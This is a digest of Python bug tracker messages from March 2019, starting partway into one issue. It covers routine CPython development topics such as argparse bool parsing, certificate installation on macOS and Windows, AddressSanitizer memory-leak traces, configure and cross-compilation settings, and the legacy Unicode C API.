drwxr-xr-x  28 root admin  896 Mar 19 14:20 setuptools/
drwxrwxr-x   7 root admin  224 Mar 19 14:20 ./
drwxr-xr-x  10 root admin  320 Mar 19 14:20 setuptools-40.8.0.dist-info/
drwxr-xr-x   3 root admin   96 Mar 19 14:20 __pycache__/
-rw-r--r--   1 root admin  126 Mar 19 14:20 easy_install.py
drwxrwxr-x 208 root admin 6.5K Mar 13 05:13 ../
-rw-rw-r--   1 root admin  119 Mar 13 05:13 README.txt

Tue Mar 19 14:20:51 JST 2019
total 8.0K
drwxr-xr-x  11 root admin  352 Mar 19 14:20 setuptools-40.8.0.dist-info/
drwxr-xr-x   7 root admin  224 Mar 19 14:20 pkg_resources/
drwxrwxr-x   8 root admin  256 Mar 19 14:20 ./
drwxr-xr-x  42 root admin 1.4K Mar 19 14:20 setuptools/
drwxr-xr-x   3 root admin   96 Mar 19 14:20 __pycache__/
-rw-r--r--   1 root admin  126 Mar 19 14:20 easy_install.py
drwxrwxr-x 208 root admin 6.5K Mar 13 05:13 ../
-rw-rw-r--   1 root admin  119 Mar 13 05:13 README.txt

Tue Mar 19 14:20:52 JST 2019
total 8.0K
drwxr-xr-x   6 root admin  192 Mar 19 14:20 pip/
drwxrwxr-x   9 root admin  288 Mar 19 14:20 ./
drwxr-xr-x  11 root admin  352 Mar 19 14:20 setuptools-40.8.0.dist-info/
drwxr-xr-x   7 root admin  224 Mar 19 14:20 pkg_resources/
drwxr-xr-x  42 root admin 1.4K Mar 19 14:20 setuptools/
drwxr-xr-x   3 root admin   96 Mar 19 14:20 __pycache__/
-rw-r--r--   1 root admin  126 Mar 19 14:20 easy_install.py
drwxrwxr-x 208 root admin 6.5K Mar 13 05:13 ../
-rw-rw-r--   1 root admin  119 Mar 13 05:13 README.txt

Tue Mar 19 14:20:53 JST 2019
total 8.0K
drwxr-xr-x   3 root admin   96 Mar 19 14:20 __pycache__/
drwxr-xr-x   9 root admin  288 Mar 19 14:20 pip-19.0.3.dist-info/
drwxrwxr-x  10 root admin  320 Mar 19 14:20 ./
drwxr-xr-x   7 root admin  224 Mar 19 14:20 pip/
drwxr-xr-x  11 root admin  352 Mar 19 14:20 setuptools-40.8.0.dist-info/
drwxr-xr-x   7 root admin  224 Mar 19 14:20 pkg_resources/
drwxr-xr-x  42 root admin 1.4K Mar 19 14:20 setuptools/
-rw-r--r--   1 root admin  126 Mar 19 14:20 easy_install.py
drwxrwxr-x 208 root admin 6.5K Mar 13 05:13 ../
-rw-rw-r--   1 root admin  119 Mar 13 05:13 README.txt
```



I suspect that this is not a big deal in practice, because a new user would not know to run the command until instructed in the "installation completed" screen.

Meanwhile, "experienced / trigger-happy" users probably know to run the command again :)



P.S. I'm also wondering if it matters that installer asks for current user's su password and after a good installation, most content of site-packages is owned by root:admin, while certifi is owned by current user... For example `__pycache__` not being writable by user.

----------
Added file: https://bugs.python.org/file48218/Screenshot 2019-03-19 at 14.08.31.png

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36340>
_______________________________________

From report at bugs.python.org  Tue Mar 19 02:40:59 2019
From: report at bugs.python.org (Ma Lin)
Date: Tue, 19 Mar 2019 06:40:59 +0000
Subject: [issue35859] Capture behavior depends on the order of an alternation
In-Reply-To: <1548857774.3.0.1614070954.issue35859@roundup.psfhosted.org>
Message-ID: <1552977659.26.0.948466533657.issue35859@roundup.psfhosted.org>


Change by Ma Lin <malincns at 163.com>:


----------
pull_requests: +12381

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35859>
_______________________________________

From report at bugs.python.org  Tue Mar 19 02:45:25 2019
From: report at bugs.python.org (Ma Lin)
Date: Tue, 19 Mar 2019 06:45:25 +0000
Subject: [issue35859] Capture behavior depends on the order of an alternation
In-Reply-To: <1548857774.3.0.1614070954.issue35859@roundup.psfhosted.org>
Message-ID: <1552977925.2.0.369350758801.issue35859@roundup.psfhosted.org>


Ma Lin <malincns at 163.com> added the comment:

I guess PR12427 is mature enough for review, I have been working on it these days.

You may review these commits one by one, commit message is review guide.
https://github.com/python/cpython/pull/12427/commits

Maybe you will need two or three days to understand it, and ponder some days.

> I am not sure about backporting these changes.
> This behavior is such old, that there is a chance
> to break someone's code that depend on it.

How about this plan, if no one complains these changes in Python 3.8 before the end of this year, then we backport to 3.7 and 2.7 branches at that time, and document the changes in notable changes section.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35859>
_______________________________________

From report at bugs.python.org  Tue Mar 19 02:56:39 2019
From: report at bugs.python.org (Abhinav Gupta)
Date: Tue, 19 Mar 2019 06:56:39 +0000
Subject: [issue36358] bool type does not support True or False as command line
 argv
Message-ID: <1552978599.88.0.823595828777.issue36358@roundup.psfhosted.org>


New submission from Abhinav Gupta <abhinavgupta94 at gmail.com>:

If I have a type=bool argument in argparser and I provide the value for it using command-line, it always evaluates to True. Is this expected?

Is there no alternative to using '' for False and any other string for True?

----------
components: Library (Lib)
messages: 338321
nosy: Abhinav Gupta
priority: normal
severity: normal
status: open
title: bool type does not support True or False as command line argv
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36358>
_______________________________________

From report at bugs.python.org  Tue Mar 19 03:26:24 2019
From: report at bugs.python.org (Hameer Abbasi)
Date: Tue, 19 Mar 2019 07:26:24 +0000
Subject: [issue36359] contextvars documentation unclear on thread-locality
Message-ID: <1552980384.32.0.0684370672008.issue36359@roundup.psfhosted.org>


New submission from Hameer Abbasi <habbasi at quansight.com>:

The documentation here: https://docs.python.org/3/library/contextvars.html does not mention anything about context-variables being thread-local or not. It should definitely make that more clear.

I was told by Freenode user njs (I strongly suspect its Nathaniel J. Smith) that they are.

----------
assignee: docs at python
components: Documentation
messages: 338322
nosy: Hameer Abbasi2, docs at python, yselivanov
priority: normal
severity: normal
status: open
title: contextvars documentation unclear on thread-locality
type: enhancement
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36359>
_______________________________________

From report at bugs.python.org  Tue Mar 19 03:31:43 2019
From: report at bugs.python.org (Ralf Gommers)
Date: Tue, 19 Mar 2019 07:31:43 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1552980703.43.0.406290894105.issue36085@roundup.psfhosted.org>


Change by Ralf Gommers <ralf.gommers at gmail.com>:


----------
nosy: +ralf.gommers

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Tue Mar 19 03:40:39 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 19 Mar 2019 07:40:39 +0000
Subject: [issue36358] bool type does not support True or False as command line
 argv
In-Reply-To: <1552978599.88.0.823595828777.issue36358@roundup.psfhosted.org>
Message-ID: <1552981239.08.0.147305721686.issue36358@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Yes, this is expected. bool('False') is True.

You can write your own converter which returns True for 'True', False for 'False' and raise an exception otherwise.

But it is more common to add a pair of options without arguments --foo/--no-foo, or --with-foo/--without-foo, or --enable-foo/--disable-foo using the "store_const" action with True/False value.

----------
nosy: +serhiy.storchaka
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36358>
_______________________________________

From report at bugs.python.org  Tue Mar 19 03:46:06 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 19 Mar 2019 07:46:06 +0000
Subject: [issue36309] Remove tempfile.mktemp()
In-Reply-To: <1552697345.02.0.780612142064.issue36309@roundup.psfhosted.org>
Message-ID: <1552981566.25.0.401359859249.issue36309@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Taking to the account the widespread use of mktemp(), I think it needs more than one release for deprecation.

This should be discussed on the Python-Dev mailing list first.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36309>
_______________________________________

From report at bugs.python.org  Tue Mar 19 03:53:31 2019
From: report at bugs.python.org (Dmitrii Pasechnik)
Date: Tue, 19 Mar 2019 07:53:31 +0000
Subject: [issue36344] install_certificates.command too complicated,
 copy from pip's dir instead
In-Reply-To: <1552911860.35.0.715970160231.issue36344@roundup.psfhosted.org>
Message-ID: <1552982011.49.0.0181038084046.issue36344@roundup.psfhosted.org>


Dmitrii Pasechnik <dimpase at gmail.com> added the comment:

The script install_certificates.command depends upon pip, it calls pip to install certifi. Thus it's no less "optional" than pip.

And pip is only functional, and it able to do the installation in question,  due to it including the certificate in question.

The role of this script is fishy from security point of view, too. 
Why not simply putting the certificate right where it belongs to, i.e. not just simplify install_certificates.command, but simply get rid of it?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36344>
_______________________________________

From report at bugs.python.org  Tue Mar 19 04:14:53 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 19 Mar 2019 08:14:53 +0000
Subject: [issue36356] Failure to build with address sanitizer
In-Reply-To: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>
Message-ID: <1552983293.73.0.810557346139.issue36356@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

just for me, btharper, which system do you use? because I have a fedora 29 and when I try to compile with these flags, getaddrinfo is not found.

----------
nosy: +matrixise

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Tue Mar 19 04:25:25 2019
From: report at bugs.python.org (Julien Palard)
Date: Tue, 19 Mar 2019 08:25:25 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552983925.81.0.609074035067.issue34160@roundup.psfhosted.org>


Julien Palard <julien+python at palard.fr> added the comment:

> Actually, it is really easy to fix

By answering this, it looks like you're currently going this way, and obviously you'll succeed fixing docutils, this still mean voluntarily leaving some (or many?) other code broken (open source and closed source), how that's acceptable?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Tue Mar 19 04:31:06 2019
From: report at bugs.python.org (Inada Naoki)
Date: Tue, 19 Mar 2019 08:31:06 +0000
Subject: [issue36307] Upgrade Travis CI config to Xenial from near-EoL Trusty
 and remove obsolete sudo: false key
In-Reply-To: <1552679032.41.0.0976930035349.issue36307@roundup.psfhosted.org>
Message-ID: <1552984266.59.0.531645227706.issue36307@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:


New changeset 09e5877cb1191fe09af7a2139780d377bdf19092 by Inada Naoki in branch '3.7':
bpo-36307: Travis: upgrade to Xenial environment (GH-12356)
https://github.com/python/cpython/commit/09e5877cb1191fe09af7a2139780d377bdf19092


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36307>
_______________________________________

From report at bugs.python.org  Tue Mar 19 04:32:10 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 19 Mar 2019 08:32:10 +0000
Subject: [issue36356] Failure to build with address sanitizer
In-Reply-To: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>
Message-ID: <1552984330.51.0.394879497846.issue36356@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

ok, found

I have to disable ipv6 and install libasan

./python -E -S -m sysconfig --generate-posix-vars ;\
if test $? -ne 0 ; then \
	echo "generate-posix-vars failed" ; \
	rm -f ./pybuilddir.txt ; \
	exit 1 ; \
fi

=================================================================
==5408==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 34 byte(s) in 1 object(s) allocated from:
    #0 0x7fb085e03c08 in __interceptor_malloc (/lib64/libasan.so.5+0xefc08)
    #1 0x4d99a2 in _PyMem_RawMalloc Objects/obmalloc.c:99
    #2 0x4d9b4a in _PyMem_DebugRawAlloc Objects/obmalloc.c:2020
    #3 0x4d9ba5 in _PyMem_DebugRawMalloc Objects/obmalloc.c:2049
    #4 0x4dc354 in PyMem_RawMalloc Objects/obmalloc.c:527
    #5 0x4dc510 in _PyMem_RawStrdup Objects/obmalloc.c:613
    #6 0x652f5f in get_ctype_locale Python/preconfig.c:483
    #7 0x6560a6 in _PyPreConfig_Read Python/preconfig.c:506
    #8 0x616cde in _PyCoreConfig_ReadPreConfig Python/coreconfig.c:1342
    #9 0x620564 in _PyCoreConfig_Read Python/coreconfig.c:1378
    #10 0x65ef06 in pyinit_coreconfig Python/pylifecycle.c:740
    #11 0x65fa05 in _Py_InitializeCore Python/pylifecycle.c:786
    #12 0x42abba in pymain_init Modules/main.c:370
    #13 0x42addc in pymain_main Modules/main.c:889
    #14 0x42b2bb in _Py_UnixMain Modules/main.c:940
    #15 0x4258ee in main Programs/python.c:16
    #16 0x7fb085983412 in __libc_start_main ../csu/libc-start.c:308

Direct leak of 34 byte(s) in 1 object(s) allocated from:
    #0 0x7fb085e03c08 in __interceptor_malloc (/lib64/libasan.so.5+0xefc08)
    #1 0x4d99a2 in _PyMem_RawMalloc Objects/obmalloc.c:99
    #2 0x4d9b4a in _PyMem_DebugRawAlloc Objects/obmalloc.c:2020
    #3 0x4d9ba5 in _PyMem_DebugRawMalloc Objects/obmalloc.c:2049
    #4 0x4dc354 in PyMem_RawMalloc Objects/obmalloc.c:527
    #5 0x4dc510 in _PyMem_RawStrdup Objects/obmalloc.c:613
    #6 0x652f5f in get_ctype_locale Python/preconfig.c:483
    #7 0x6560a6 in _PyPreConfig_Read Python/preconfig.c:506
    #8 0x6585f8 in pyinit_preconfig Python/pylifecycle.c:723
    #9 0x65f8b0 in _Py_InitializeCore Python/pylifecycle.c:781
    #10 0x42abba in pymain_init Modules/main.c:370
    #11 0x42addc in pymain_main Modules/main.c:889
    #12 0x42b2bb in _Py_UnixMain Modules/main.c:940
    #13 0x4258ee in main Programs/python.c:16
    #14 0x7fb085983412 in __libc_start_main ../csu/libc-start.c:308

SUMMARY: AddressSanitizer: 68 byte(s) leaked in 2 allocation(s).
generate-posix-vars failed
make: *** [Makefile:586: pybuilddir.txt] Error 1

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Tue Mar 19 04:53:13 2019
From: report at bugs.python.org (Christian Herdtweck)
Date: Tue, 19 Mar 2019 08:53:13 +0000
Subject: [issue36343] Certificate added to Win Store not available
In-Reply-To: <1552909220.78.0.352690295035.issue36343@roundup.psfhosted.org>
Message-ID: <1552985593.25.0.663385012035.issue36343@roundup.psfhosted.org>


Christian Herdtweck <christian.herdtweck at intra2net.com> added the comment:

A colleage motivated me to add some example data. Attached you will find a small sample program listing the certificates and trying to connect to my machine.

Output of the program:
Text "fake" nowhere to be found :-(

Traceback (most recent call last):
  File "list_cas.py", line 88, in <module>
    sys.exit(main())
  File "list_cas.py", line 83, in main
    ssl_sock.connect((MY_SERVER, 443))
  File "C:\Program Files (x86)\Python37-32\lib\ssl.py", line 1150, in connect
    self._real_connect(addr, False)
  File "C:\Program Files (x86)\Python37-32\lib\ssl.py", line 1141, in _real_connect
    self.do_handshake()
  File "C:\Program Files (x86)\Python37-32\lib\ssl.py", line 1117, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:1056)

----------
Added file: https://bugs.python.org/file48219/list_cas.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36343>
_______________________________________

From report at bugs.python.org  Tue Mar 19 04:58:10 2019
From: report at bugs.python.org (Inada Naoki)
Date: Tue, 19 Mar 2019 08:58:10 +0000
Subject: [issue36346] Prepare for removing the legacy Unicode C API
In-Reply-To: <1552918981.83.0.901300276481.issue36346@roundup.psfhosted.org>
Message-ID: <1552985890.47.0.0526371466083.issue36346@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

I'm not sure we need two options.
Does USE_UNICODE_WCHAR_CACHE=0 really helps preparing to the removal?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36346>
_______________________________________

From report at bugs.python.org  Tue Mar 19 04:58:44 2019
From: report at bugs.python.org (Christian Herdtweck)
Date: Tue, 19 Mar 2019 08:58:44 +0000
Subject: [issue36343] Certificate added to Win Store not available
In-Reply-To: <1552909220.78.0.352690295035.issue36343@roundup.psfhosted.org>
Message-ID: <1552985924.91.0.225509446945.issue36343@roundup.psfhosted.org>


Christian Herdtweck <christian.herdtweck at intra2net.com> added the comment:

Certificates (fake CA and the signed certificate) as well as 2 screenshots from the import process

----------
Added file: https://bugs.python.org/file48220/python-cert-problem.zip

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36343>
_______________________________________

From report at bugs.python.org  Tue Mar 19 05:02:02 2019
From: report at bugs.python.org (Shady Atef)
Date: Tue, 19 Mar 2019 09:02:02 +0000
Subject: [issue36360] undef HAVE_STROPTS_H in pyconfig.h.in is ignored
Message-ID: <1552986122.21.0.691195493771.issue36360@roundup.psfhosted.org>


New submission from Shady Atef <shadyoatef at gmail.com>:

I have `#undef HAVE_STROPTS_H` inside pyconfig.h.in, but after configuration it's commented out in pyconfig.h. Leading into compilation error as stropts.h is not found.

It seems like the configuration phase ignores the #undef directive for a reason.

These are the configuration parameters 

./configure --prefix=/home/shatef/python/Python3.7.2/build_rh67_491 --enable-shared --with-openssl=$OPENSSL_HOME CPPFLAGS="-I/home/shatef/libs/libffi-3.2.1/build/lib/libffi-3.2.1/include"  CFLAGS="-fgnu89-inline     -D__USE_XOPEN2K8"  LDFLAGS="-L/home/shatef/libs/libffi-3.2.1/build/lib64"

Building Information:
OS: Redhat 6.7
Compiler: GCC 4.9.1

----------
components: Build
messages: 338333
nosy: Shady Atef
priority: normal
severity: normal
status: open
title: undef HAVE_STROPTS_H in pyconfig.h.in is ignored
type: compile error
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36360>
_______________________________________

From report at bugs.python.org  Tue Mar 19 05:08:40 2019
From: report at bugs.python.org (Inada Naoki)
Date: Tue, 19 Mar 2019 09:08:40 +0000
Subject: [issue36307] Upgrade Travis CI config to Xenial from near-EoL Trusty
 and remove obsolete sudo: false key
In-Reply-To: <1552679032.41.0.0976930035349.issue36307@roundup.psfhosted.org>
Message-ID: <1552986520.49.0.274137122658.issue36307@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:


New changeset 0f68d4af3b9410821ee67cbb5a445b341d5c82e4 by Inada Naoki in branch '2.7':
bpo-36307: Travis: upgrade to Xenial environment (GH-12356)
https://github.com/python/cpython/commit/0f68d4af3b9410821ee67cbb5a445b341d5c82e4


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36307>
_______________________________________

From report at bugs.python.org  Tue Mar 19 05:11:40 2019
From: report at bugs.python.org (Inada Naoki)
Date: Tue, 19 Mar 2019 09:11:40 +0000
Subject: [issue36307] Upgrade Travis CI config to Xenial from near-EoL Trusty
 and remove obsolete sudo: false key
In-Reply-To: <1552679032.41.0.0976930035349.issue36307@roundup.psfhosted.org>
Message-ID: <1552986700.78.0.079457901482.issue36307@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36307>
_______________________________________

From report at bugs.python.org  Tue Mar 19 05:25:00 2019
From: report at bugs.python.org (Hongchang Liu)
Date: Tue, 19 Mar 2019 09:25:00 +0000
Subject: [issue31904] Python should support VxWorks RTOS
In-Reply-To: <1509393393.78.0.213398074469.issue31904@psf.upfronthosting.co.za>
Message-ID: <1552987500.81.0.980203250146.issue31904@roundup.psfhosted.org>


Change by Hongchang Liu <hongchang.liu at windriver.com>:


----------
pull_requests: +12382

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31904>
_______________________________________

From report at bugs.python.org  Tue Mar 19 05:31:36 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Tue, 19 Mar 2019 09:31:36 +0000
Subject: [issue36361] generate correct pyconfig.h when cross-compiling
Message-ID: <1552987896.08.0.0930536102698.issue36361@roundup.psfhosted.org>


New submission from Xavier de Gaye <xdegaye at gmail.com>:

'configure' cache values are set to pessimistic defaults when cross-compiling. One of the most significant, ac_cv_computed_gotos, is set to 'no' in that case.  When ac_cv_computed_gotos is set to 'yes' on platforms that support it, it brings a 15-20 % gain in performance.  To know if a platform supports computed goto when not cross-compiling, a C test program is built and run using the AC_RUN_IFELSE autoconf macro in configure.ac.

Most platforms provide a way to transfer a file and to run a remote shell, whether it is using ssh or by other means (Android has the 'adb' swiss-knife tool).  This is a proposal to extend the AC_RUN_IFELSE macro to also copy the executable locally when cross-compiling. A script uploads it later on the platform, target of the cross-compilation, runs it on this platform, collects its exit status and sets the corresponding cache value accordingly in a config.site file.  A second run of 'configure', with the CONFIG_SITE environment variable set to the *absolute* path of this config.site file, allows configuring the build with the correct cache values for this platform.

----------
components: Cross-Build
messages: 338335
nosy: Alex.Willmer, xdegaye
priority: normal
severity: normal
stage: needs patch
status: open
title: generate correct pyconfig.h when cross-compiling
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36361>
_______________________________________

From report at bugs.python.org  Tue Mar 19 05:35:52 2019
From: report at bugs.python.org (Shady Atef)
Date: Tue, 19 Mar 2019 09:35:52 +0000
Subject: [issue36360] undef HAVE_STROPTS_H in pyconfig.h.in is ignored
In-Reply-To: <1552986122.21.0.691195493771.issue36360@roundup.psfhosted.org>
Message-ID: <1552988152.99.0.348812227501.issue36360@roundup.psfhosted.org>


Shady Atef <shadyoatef at gmail.com> added the comment:

I've found out that I run ./configure on different machine than the one I run compile.

A side note: make clean don't remove files generated by the configuration script. make distclean does the required cleaning task.

----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36360>
_______________________________________

From report at bugs.python.org  Tue Mar 19 05:47:33 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Tue, 19 Mar 2019 09:47:33 +0000
Subject: [issue36361] generate correct pyconfig.h when cross-compiling
In-Reply-To: <1552987896.08.0.0930536102698.issue36361@roundup.psfhosted.org>
Message-ID: <1552988853.26.0.539792477562.issue36361@roundup.psfhosted.org>


Change by Xavier de Gaye <xdegaye at gmail.com>:


----------
keywords: +patch
pull_requests: +12383
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36361>
_______________________________________

From report at bugs.python.org  Tue Mar 19 06:03:47 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 19 Mar 2019 10:03:47 +0000
Subject: [issue36362] Detected unused variables with --with-address-sanitizer
Message-ID: <1552989827.06.0.868737365224.issue36362@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

I am going to publish my PR.

----------
components: Interpreter Core
messages: 338337
nosy: matrixise
priority: normal
severity: normal
status: open
title: Detected unused variables with --with-address-sanitizer
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36362>
_______________________________________

From report at bugs.python.org  Tue Mar 19 06:06:08 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 19 Mar 2019 10:06:08 +0000
Subject: [issue36362] Detected unused variables with --with-address-sanitizer
In-Reply-To: <1552989827.06.0.868737365224.issue36362@roundup.psfhosted.org>
Message-ID: <1552989968.89.0.389885459274.issue36362@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
keywords: +patch
pull_requests: +12384
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36362>
_______________________________________

From report at bugs.python.org  Tue Mar 19 06:06:37 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 19 Mar 2019 10:06:37 +0000
Subject: [issue36362] Detected unused variables in import.c and
 HAVE_DYNAMIC_LOADING=False with --with-address-sanitizer
In-Reply-To: <1552989827.06.0.868737365224.issue36362@roundup.psfhosted.org>
Message-ID: <1552989997.48.0.670786108425.issue36362@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
title: Detected unused variables with --with-address-sanitizer -> Detected unused variables in import.c and HAVE_DYNAMIC_LOADING=False with --with-address-sanitizer

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36362>
_______________________________________

From report at bugs.python.org  Tue Mar 19 06:33:13 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 19 Mar 2019 10:33:13 +0000
Subject: [issue36356] Failure to build with address sanitizer
In-Reply-To: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>
Message-ID: <1552991593.6.0.328666743162.issue36356@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

your PR seems to be fine.

but I continue to get two refleaks with valgrind but don't worry, @vstinner is working on these refleaks.

==5440== 64 bytes in 1 blocks are possibly lost in loss record 1 of 2
==5440==    at 0x483880B: malloc (vg_replace_malloc.c:309)
==5440==    by 0x46BFAB: _PyMem_RawMalloc (obmalloc.c:99)
==5440==    by 0x46BEA3: _PyMem_DebugRawAlloc (obmalloc.c:2020)
==5440==    by 0x46BF33: _PyMem_DebugRawMalloc (obmalloc.c:2049)
==5440==    by 0x46D304: PyMem_RawMalloc (obmalloc.c:527)
==5440==    by 0x52C1EF: PyThread_allocate_lock (thread_pthread.h:330)
==5440==    by 0x5154F0: _PyRuntimeState_Init_impl (pystate.c:52)
==5440==    by 0x515A76: _PyRuntimeState_Init (pystate.c:77)
==5440==    by 0x514114: _PyRuntime_Initialize (pylifecycle.c:88)
==5440==    by 0x4236FE: pymain_init (main.c:339)
==5440==    by 0x423980: pymain_main (main.c:889)
==5440==    by 0x423A6A: _Py_UnixMain (main.c:940)
==5440== 
==5440== 64 bytes in 1 blocks are possibly lost in loss record 2 of 2
==5440==    at 0x483880B: malloc (vg_replace_malloc.c:309)
==5440==    by 0x46BFAB: _PyMem_RawMalloc (obmalloc.c:99)
==5440==    by 0x46BEA3: _PyMem_DebugRawAlloc (obmalloc.c:2020)
==5440==    by 0x46BF33: _PyMem_DebugRawMalloc (obmalloc.c:2049)
==5440==    by 0x46D304: PyMem_RawMalloc (obmalloc.c:527)
==5440==    by 0x52C1EF: PyThread_allocate_lock (thread_pthread.h:330)
==5440==    by 0x515506: _PyRuntimeState_Init_impl (pystate.c:58)
==5440==    by 0x515A76: _PyRuntimeState_Init (pystate.c:77)
==5440==    by 0x514114: _PyRuntime_Initialize (pylifecycle.c:88)
==5440==    by 0x4236FE: pymain_init (main.c:339)
==5440==    by 0x423980: pymain_main (main.c:889)
==5440==    by 0x423A6A: _Py_UnixMain (main.c:940)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Tue Mar 19 06:43:33 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 10:43:33 +0000
Subject: [issue18368] PyOS_StdioReadline() leaks memory when realloc() fails
In-Reply-To: <1373054563.49.0.685653845765.issue18368@psf.upfronthosting.co.za>
Message-ID: <1552992213.5.0.916074561927.issue18368@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset d9c6564f90ead067c2e288f01825684821b7a129 by Victor Stinner (stratakis) in branch '2.7':
[2.7] bpo-18368: Fix memory leaks in PyOS_StdioReadline() when realloc() fails (GH-12334)
https://github.com/python/cpython/commit/d9c6564f90ead067c2e288f01825684821b7a129


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue18368>
_______________________________________

From report at bugs.python.org  Tue Mar 19 06:45:21 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 19 Mar 2019 10:45:21 +0000
Subject: [issue36346] Prepare for removing the legacy Unicode C API
In-Reply-To: <1552918981.83.0.901300276481.issue36346@roundup.psfhosted.org>
Message-ID: <1552992321.66.0.698730818541.issue36346@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

I wrote this PR just to see how much code should be changed after removing the wchar_t cache, and what be performance impact. Get it, experiment with it, run tests and benchmarks. I think we could set USE_UNICODE_WCHAR_CACHE to 0 by default. If this will cause significant troubles, it is easy to set it to 1.

I am going to add configure options for switching these options. On Windows you will still need to edit the config file manually.

> I'm not sure we need two options.
> Does USE_UNICODE_WCHAR_CACHE=0 really helps preparing to the removal?

Currently some of the legacy functions are not decorated with Py_DEPRECATED, because this would cause compiler warnings in the code that uses these functions. If USE_UNICODE_WCHAR_CACHE is 0, these functions will no longer used, so we can add compiler warnings for them.

> I don't think changing sequence iteration to list iteration only
> is something that should be hidden in a wchar_t removal PR.

getenvironment() is the function that has been rewritten to the new API without preserving the old variant. Since the code was rewritten so much, I performed some code clean up. PyMapping_Keys() and PyMapping_Values() always return a list now, so that using the PySequence_Fast API is superfluous. They could return a tuple in the past, but this provoked bugs because the user code used PyList API for it.

I'll open a separate issue for this.

> Since these C macros are public, should they be named PY_* ?

